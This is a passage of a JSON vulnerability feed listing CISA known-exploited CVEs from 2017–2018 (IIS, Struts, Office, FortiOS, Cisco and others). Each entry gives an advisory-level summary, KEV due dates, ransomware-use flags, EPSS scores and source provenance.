instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Symantec","product":"Symantec Messaging Gateway","stacks":["Symantec","Symantec Messaging Gateway"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.35911,"percentile":0.98459,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-6327&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-6327","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-6327 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-6327&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-6327, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-7269","cveId":"CVE-2017-7269","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Server Buffer Overflow Vulnerability","summary":"Microsoft Windows Server 2003 R2 contains a buffer overflow vulnerability in Internet Information Services (IIS) 6.0 which allows remote attackers to execute code via a long header beginning with \"If: <http://\" in a PROPFIND request.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Information Services (IIS)","stacks":["Microsoft Windows","Microsoft","Internet Information Services (IIS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99823,"percentile":0.9996,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-7269&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-7269","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-7269 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-7269&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-7269, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-8759","cveId":"CVE-2017-8759","aliases":[],"kind":"vulnerability","title":"Microsoft .NET Framework Remote Code Execution Vulnerability","summary":"Microsoft .NET Framework contains a remote code execution vulnerability when processing untrusted input that could allow an attacker to take control of an affected system.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":".NET Framework","stacks":[".NET","Microsoft",".NET Framework"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.88698,"percentile":0.99773,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-8759&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-8759","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-8759 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-8759&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-8759, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-9248","cveId":"CVE-2017-9248","aliases":[],"kind":"vulnerability","title":"Progress Telerik UI for ASP.NET AJAX and Sitefinity Cryptographic Weakness Vulnerability","summary":"Progress Telerik UI for ASP.NET AJAX and Sitefinity have a cryptographic weakness in Telerik.Web.UI.dll that can be exploited to disclose encryption keys (Telerik.Web.UI.DialogParametersEncryptionKey and/or the MachineKey), perform cross-site-scripting (XSS) attacks, compromise the ASP.NET ViewState, and/or upload and download files.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Progress","product":"ASP.NET AJAX and Sitefinity","stacks":[".NET","Progress (MOVEit, Telerik, WS_FTP)","Progress","ASP.NET AJAX and Sitefinity"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.75098,"percentile":0.99505,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-9248&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-9248","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-9248 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-9248&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-9248, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-9805","cveId":"CVE-2017-9805","aliases":[],"kind":"vulnerability","title":"Apache Struts Deserialization of Untrusted Data Vulnerability","summary":"Apache Struts REST Plugin uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to remote code execution when deserializing XML payloads.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Struts","stacks":["Apache Struts","Apache","Struts"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99396,"percentile":0.9994,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-9805&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-9805","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-9805 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-9805&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-9805, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-9822","cveId":"CVE-2017-9822","aliases":[],"kind":"vulnerability","title":"DotNetNuke (DNN) Remote Code Execution Vulnerability","summary":"DotNetNuke (DNN) contains a vulnerability that may allow for remote code execution via cookie deserialization.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"DotNetNuke (DNN)","product":"DotNetNuke (DNN)","stacks":["DotNetNuke (DNN)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.94789,"percentile":0.99858,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-9822&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-9822","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-9822 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-9822&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-9822, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0171","cveId":"CVE-2018-0171","aliases":[],"kind":"vulnerability","title":"Cisco IOS and IOS XE Software Smart Install Remote Code Execution Vulnerability","summary":"Cisco IOS and IOS XE Software improperly validates packet data, allowing an unauthenticated, remote attacker to trigger a reload of an affected device, cause a denial-of-service (DoS) condition, or perform code execution on the affected device.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS and IOS XE","stacks":["Cisco","IOS and IOS XE"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99479,"percentile":0.99943,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0171&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0171","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0171 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0171&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0171, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0296","cveId":"CVE-2018-0296","aliases":[],"kind":"vulnerability","title":"Cisco Adaptive Security Appliance (ASA) Denial-of-Service Vulnerability","summary":"Cisco Adaptive Security Appliance (ASA) contains an improper input validation vulnerability with HTTP URLs. Exploitation could allow an attacker to cause a denial-of-service (DoS) condition or information disclosure.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Adaptive Security Appliance (ASA)","stacks":["Cisco","Adaptive Security Appliance (ASA)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99898,"percentile":0.99966,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0296&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0296","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0296 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0296&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0296, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0798","cveId":"CVE-2018-0798","aliases":[],"kind":"vulnerability","title":"Microsoft Office Memory Corruption Vulnerability","summary":"Microsoft Office contains a memory corruption vulnerability due to the way objects are handled in memory. Successful exploitation allows for remote code execution in the context of the current user. This vulnerability is known to be chained with CVE-2018-0802.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95121,"percentile":0.99863,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0798&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0798","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0798 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0798&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0798, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0802","cveId":"CVE-2018-0802","aliases":[],"kind":"vulnerability","title":"Microsoft Office Memory Corruption Vulnerability","summary":"Microsoft Office contains a memory corruption vulnerability due to the way objects are handled in memory. Successful exploitation allows for remote code execution in the context of the current user. This vulnerability is known to be chained with CVE-2018-0798.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93289,"percentile":0.99834,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0802&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0802","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0802 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0802&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0802, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-11776","cveId":"CVE-2018-11776","aliases":[],"kind":"vulnerability","title":"Apache Struts Remote Code Execution Vulnerability","summary":"Apache Struts contains a vulnerability that allows for remote code execution under two circumstances. One, where the alwaysSelectFullNamespace option is true and the value isn't set for a result defined in underlying configurations and in same time, its upper package configuration have no or wildcard namespace.  Or, using URL tag which doesn't have value and action set and in same time, its upper package configuration have no or wildcard namespace.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Struts","stacks":["Apache Struts","Apache","Struts"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99995,"percentile":0.99989,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-11776&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-11776","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-11776 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-11776&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-11776, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-13379","cveId":"CVE-2018-13379","aliases":[],"kind":"vulnerability","title":"Fortinet FortiOS SSL VPN Path Traversal Vulnerability","summary":"Fortinet FortiOS SSL VPN web portal contains a path traversal vulnerability that may allow an unauthenticated attacker to download FortiOS system files through specially crafted HTTP resource requests.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiOS","stacks":["Fortinet","FortiOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99994,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-13379&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-13379","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-13379 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-13379&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-13379, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-14558","cveId":"CVE-2018-14558","aliases":[],"kind":"vulnerability","title":"Tenda AC7, AC9, and AC10 Routers Command Injection Vulnerability","summary":"Tenda AC7, AC9, and AC10 devices contain a command injection vulnerability due to  the \"formsetUsbUnload\" function executes a dosystemCmd function with untrusted input. Successful exploitation allows an attacker to execute OS commands via a crafted goform/setUsbUnload request.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Tenda","product":"AC7, AC9, and AC10 Routers","stacks":["Tenda","AC7, AC9, and AC10 Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0851,"percentile":0.95003,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-14558&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-14558","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-14558 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-14558&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-14558, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-15811","cveId":"CVE-2018-15811","aliases":[],"kind":"vulnerability","title":"DotNetNuke (DNN) Inadequate Encryption Strength Vulnerability","summary":"DotNetNuke (DNN) contains an inadequate encryption strength vulnerability resulting from the use of a weak encryption algorithm to protect input parameters.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"DotNetNuke (DNN)","product":"DotNetNuke (DNN)","stacks":["DotNetNuke (DNN)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.76304,"percentile":0.99534,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-15811&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-15811","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-15811 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-15811&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-15811, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-15961","cveId":"CVE-2018-15961","aliases":[],"kind":"vulnerability","title":"Adobe ColdFusion Unrestricted File Upload Vulnerability","summary":"Adobe ColdFusion contains an unrestricted file upload vulnerability that could allow for code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"ColdFusion","stacks":["Adobe","ColdFusion"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9995,"percentile":0.99974,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-15961&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry 